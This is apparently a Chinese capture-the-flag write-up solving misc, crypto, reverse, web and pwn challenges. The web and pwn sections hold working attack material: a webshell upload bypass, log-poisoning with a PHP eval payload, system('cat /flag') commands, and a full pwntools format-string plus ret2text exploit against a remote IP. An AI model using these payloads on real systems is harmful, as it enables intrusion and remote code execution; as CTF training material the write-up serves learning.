Misc

流量分析

打开流量包,发现存在http对象,且为docm格式1

打开提示宏被禁用2

选择启用宏,访问宏管理界面,得到宏代码

basic
1
2
3
4
5
6
7
8
9
10
11
12
13
Option Explicit
Dim strEncoded, strDecoded
strEncoded = "ZmxhZ3s3ODVkMzRiNy1hMThiLTQ0YmUtOGU0Yi0xYzNkMzhmODhiYWF9"
strDecoded = DecodeBase64(strEncoded)

Debug.Print strDecoded
Function DecodeBase64(strIn)
Dim objXML, strOut
Set objXML = CreateObject("Microsoft.XMLDOM")
objXML.async = False objXML.loadXML "<root>" & strIn & "</root>"
DecodeBase64 = objXML.SelectSingleNode("/root").Text
Set objXML = Nothing
End Function

简要分析,发现是对strEncoded进行base64解码

ZmxhZ3s3ODVkMzRiNy1hMThiLTQ0YmUtOGU0Yi0xYzNkMzhmODhiYWF9解码得到

flag{785d34b7-a18b-44be-8e4b-1c3d38f88baa}

Crypto

简单编码

解码顺序

base64->hex->base91->base58

得到flag为flag{6f1be467900cf5ae57ea2f34e3536635}

什么加密

一个python代码,记录了加密顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def encrypt(plaintext, key):
ciphertext = ''
for i in range(len(plaintext)):
char = plaintext[i]
num = ord(char) - 97
num = (num + key) % 26
char = chr(num + 97)
ciphertext += char
return ciphertext

plaintext = '********'
flag = "flag{" + "}"
key = 10
ciphertext = encrypt(plaintext, key)
print(ciphertext)
# iyexygmkxlbokursvvmbizdy

核心加密逻辑是(num + key) % 26,解密则就是(num - key + 26) % 26,为了防止出现负数,需要再加上26

解密代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def decrypt(plaintext, key):
decrypttext = ""
for i in range(len(plaintext)):
char = plaintext[i]
num = ord(char) - 97
num = (num - key + 26) % 26
char = chr(num + 97)
decrypttext += char
return decrypttext

plaintext = 'iyexygmkxlbokursvvmbizdy'
key = 10
decrypttext = decrypt(plaintext, key)
flag = "flag{" + decrypttext + "}"
print(flag)
# flag{younowcanbreakhillcrypto}

Reverse

reverse

IDA逆向出伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __fastcall main_0(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
__int64 i; // rcx
size_t v5; // rax
char v7; // [rsp+0h] [rbp-20h] BYREF
int j; // [rsp+24h] [rbp+4h]
char Str1[224]; // [rsp+48h] [rbp+28h] BYREF
__int64 v10; // [rsp+128h] [rbp+108h]

v3 = &v7;
for ( i = 82LL; i; --i )
{
*(_DWORD *)v3 = -858993460;
v3 += 4;
}
for ( j = 0; ; ++j )
{
v10 = j;
if ( j > j_strlen(Str2) )
break;
if ( Str2[j] == 111 )
Str2[j] = 48;
}
sub_1400111D1("input the flag:");
sub_14001128F("%20s", Str1);
v5 = j_strlen(Str2);
if ( !strncmp(Str1, Str2, v5) )
sub_1400111D1("this is the right flag!\n");
else
sub_1400111D1("wrong flag\n");
return 0;
}

核心加密逻辑是

1
2
3
4
5
6
7
8
for ( j = 0; ; ++j )
{
v10 = j;
if ( j > j_strlen(Str2) )
break;
if ( Str2[j] == 111 )
Str2[j] = 48;
}

Str2是常量,为{hello_world}

3

遍历Str2的每个字符,当这个字符的ascii码值为111时(即o),将它替换成48(即0),所以最后Str2为{hell0_w0rld}

当输入值Str1和Str2相同时提示this is the right flag!

即flag为flag{hell0_w0rld}

flower

IDA逆向出伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
size_t v3; // eax
_BYTE v5[1489]; // [esp+314h] [ebp-688h] BYREF
size_t i; // [esp+8F0h] [ebp-ACh]
char Str1[60]; // [esp+8FCh] [ebp-A0h] BYREF
char Src[40]; // [esp+938h] [ebp-64h] BYREF
char Str2[56]; // [esp+960h] [ebp-3Ch] BYREF

Src[0] = -18;
Src[1] = -28;
Src[2] = -23;
Src[3] = -17;
Src[4] = -13;
Src[5] = -63;
Src[6] = -41;
Src[7] = -26;
Src[8] = -19;
Src[9] = -19;
Src[10] = -20;
Src[11] = -41;
Src[12] = -15;
Src[13] = -72;
Src[14] = -3;
Src[15] = -6;
Src[16] = -41;
Src[17] = -18;
Src[18] = -71;
Src[19] = -23;
Src[20] = -17;
Src[21] = -41;
Src[22] = -18;
Src[23] = -71;
Src[24] = -72;
Src[25] = -1;
Src[26] = -70;
Src[27] = -6;
Src[28] = -5;
Src[29] = -11;
Src[30] = 0;
v3 = j__strlen(Src);
j__memmove(Str1, Src, v3 + 1);
sub_439C44("give me a flower\n");
sub_43B788("%s", Str2);
sub_439C44("thank you,give you a fuck flag: flag{this_1_a_fuck_f1ag_hahaha}\n");
for ( i = 0; i < j__strlen(Str1); ++i )
Str1[i] ^= 0x88u;
if ( !j__strcmp(Str1, Str2) )
return sub_439C44("I guess you guessed it\n");
sub_439C44("try agin agin agin");
qmemcpy(v5, &unk_4B5EE8, sizeof(v5));
return sub_439C44("%s");
}

观察易知,Src和Str1应该是存储的flag

核心flag生成逻辑是

1
2
for ( i = 0; i < j__strlen(Str1); ++i )
Str1[i] ^= 0x88u;

python代码

1
2
3
4
5
6
a = [-18,-28,-23,-17,-13,-63,-41,-26,-19,-19,-20,-41,-15,-72,-3,-6,-41,-18,-71,-23,-17,-41,-18,-71,-72,-1,-70,-6,-5,-11,0]
flag = ""
for i in a:
flag += chr((256+i) ^ 0x88)
print(flag)
# flag{I_need_y0ur_f1ag_f10w2rs}

Web

真SSTI注入

访问根目录获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, request, render_template_string

app = Flask(__name__)

black_list = ["eval", "exec", "open", "'", "~", "+", "globals", "request", "true", "false",
'get_flashed_messages', 'range', 'dict', 'cycler', 'self']


def waf(name):
for x in black_list:
if x in name.lower():
return True
return False


@app.route('/')
def index():
return open(__file__).read()


@app.route('/user')
def user():
name = request.args.get("username")
if waf(name):
return "no no no"
return render_template_string(name)


if __name__ == '__main__':
app.run("0.0.0.0", port=8888)

访问/user目录,传递username,存在ssti模板注入

使用fenjing秒了

4

flag为flag{uDD66UDrt6aWBcEttAt4FhYUrb7t39wX}

文件上传

尝试直接上传木马,被拦截,提示仅能上传jpg文件

将木马后缀修改为jpg,拦截抓包,修改回php后缀,上传成功

5

但是不知道上传路径,尝试/upload/uploads路径均无果

进行信息搜集6

存在./index.php.swp备份文件,访问获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
session_start();?>
<!DOCTYPE html>
<html lang="en" class="no-js">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>UPLOAD ME</title>

<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />

<link rel="stylesheet" type="text/css" href="css/component.css" />
<script>(function(e,t,n){var r=e.querySelectorAll("html")[0];r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);</script>

</head>
<body>
<div class="container">
<div class="content">
<div class="box">
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file-1" class="inputfile inputfile-1" data-multiple-caption="{count} files selected" multiple />
<label for="file-1"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" viewBox="0 0 20 17"><path d="M10 0l-5.2 4.9h3.3v5.1h3.8v-5.1h3.3l-5.2-4.9zm9.3 11.5l-3.2-2.1h-2l3.4 2.6h-3.5c-.1 0-.2.1-.2.1l-.8 2.3h-6l-.8-2.2c-.1-.1-.1-.2-.2-.2h-3.6l3.4-2.6h-2l-3.2 2.1c-.4.3-.7 1-.6 1.5l.6 3.1c.1.5.7.9 1.2.9h16.3c.6 0 1.1-.4 1.3-.9l.6-3.1c.1-.5-.2-1.2-.7-1.5z"/></svg> <span>閫夋嫨涓€涓枃浠朵笂浼�</span></label>
<input type="submit" name="submit" value="Upload" />
</form>
</div>

</div>

</div>

<script src="js/custom-file-input.js"></script>

<div style="text-align:center;margin:10px 0; font:normal 14px/24px 'MicroSoft YaHei';">
</div>
</body>
</html>

<?php

//error_reporting(0);

if(!isset($_SESSION['source']))
{
$_SESSION['source'] = sha1(rand(0,1000));
}

$finalPos = getcwd() . "/upload/" . sha1($_SESSION['source']);

$filePos = $finalPos . "/" . basename($fileName);

发现文件上传的路径是/upload/sha1(rand(0,1000))/filename

因为sha1(rand(0,1000))是随机生成的,因此需要爆破

爆破得到路径为/upload/6052521b7625e31d4ee9cc706732484fcf850877/normal.php

蚁剑连接在根目录存在flag

7

flag为flag{UJSv6ugGRMKtffnFUEuKumthatF4aw6m}

隐藏文件

目录扫描,存在/.index.php.swp

8

访问即可下载,发现是这么一个东西

9

注意到最后是php一句话木马,连接密码是c_m.d,但是如果直接使用c_m.d会被转义为c_m_d,利用php8以下版本的解析漏洞,传c[m.d参数实质上会被解析为c_m.d

访问c[m.d=system("cat /flag");

10

你的包含

访问源码,存在提示11

显然文件包含漏洞,简单fuzz尝试伪协议,php和data被过滤,file读取不到flag文件

转向尝试日志包含,访问/?files=../../../../../var/log/nginx/access.log12

存在日志包含,使用bp访问/<?php eval($_GET['cmd']);?>路径,直接访问可能出现被url编码而包含失败的问题

再访问/?files=../../../../../var/log/nginx/access.log&cmd=system("ls /");13

发现可疑的flaaaaag_8d673d5f4ab5文件

访问/?files=../../../../../var/log/nginx/access.log&cmd=system("cat /flaaaaag_8d673d5f4ab5");

得到flag为flag{uYKsYedhgtaxRxhHgQ6u7qWne5F36qRe}

Pwn

pwn2

首先使用checksec检查程序14

接着使用IDA反汇编,得到主函数伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-28h] BYREF
__int64 *v5; // [rsp+10h] [rbp-20h] BYREF

sub_4011ED(a1, a2, a3);
v5 = &v4;
puts("Please input something:");
__isoc99_scanf("%s", format);
puts("haa~ Perhaps it contains unexpected content.");
printf(format);
if ( v4 != 119 )
{
puts("Bye~");
exit(0);
}
puts("ok, you pass it!");
__isoc99_scanf("%s", &v5);
return 0LL;
}
1
2
3
4
int sub_4011D6()
{
return system("/bin/sh");
}

并且存在后门函数

观察存在格式化漏洞与栈溢出漏洞

如果v4!=119,则程序终止运行

那么思路就是,先通过格式化字符串漏洞覆写v4的值,使其等于119绕过if判断,再利用第二个scanf函数打ret2text调用后门函数getshell

首先利用%n%p测试格式化字符串漏洞,找到第八个参数为v4,通过输入%119c%8$n将119写入v4绕过if判断

然后打一个ret2text即可,缓冲区大小0x20,再加上8个字节,shell地址为0x4011DE

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

sh = process("./pwn2")
sh = remote("39.107.234.204",42404)
shell_addr = 0x4011DE

sh.recvuntil(b"Please input something:")
payload = b'%119c%8$n'
sh.sendline(payload)

sh.recvuntil(b"ok, you pass it!")
payload = b'A'*(0x20+8) + p64(shell_addr)
sh.sendline(payload)

sh.interactive()
sh.close()

getshell后执行cat /flag得到flag为flag{x7EJaRB3mkAqUWkU9XJBWfryFMWNStkQ}